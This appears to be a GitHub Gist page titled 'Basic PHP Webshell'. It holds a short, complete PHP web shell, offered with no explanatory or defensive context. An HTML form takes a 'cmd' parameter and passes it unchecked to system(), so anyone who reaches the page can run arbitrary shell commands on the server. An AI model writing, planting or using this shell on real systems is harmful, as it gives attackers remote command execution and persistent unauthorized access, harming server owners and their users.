Last active
September 25, 2024 01:31
-
-
Save sgmurphy/5f52b2db3758560ff898f74c067aff12 to your computer and use it in GitHub Desktop.
Basic PHP Webshell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="GET"> | |
<input type="text" name="cmd" id="cmd" autofocus> | |
<input type="submit" value="Run!"> | |
</form> | |
<pre> | |
<?php | |
if (isset($_GET['cmd'])) { | |
system($_GET['cmd'] . ' 2>&1'); | |
} | |
?> | |
</pre> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment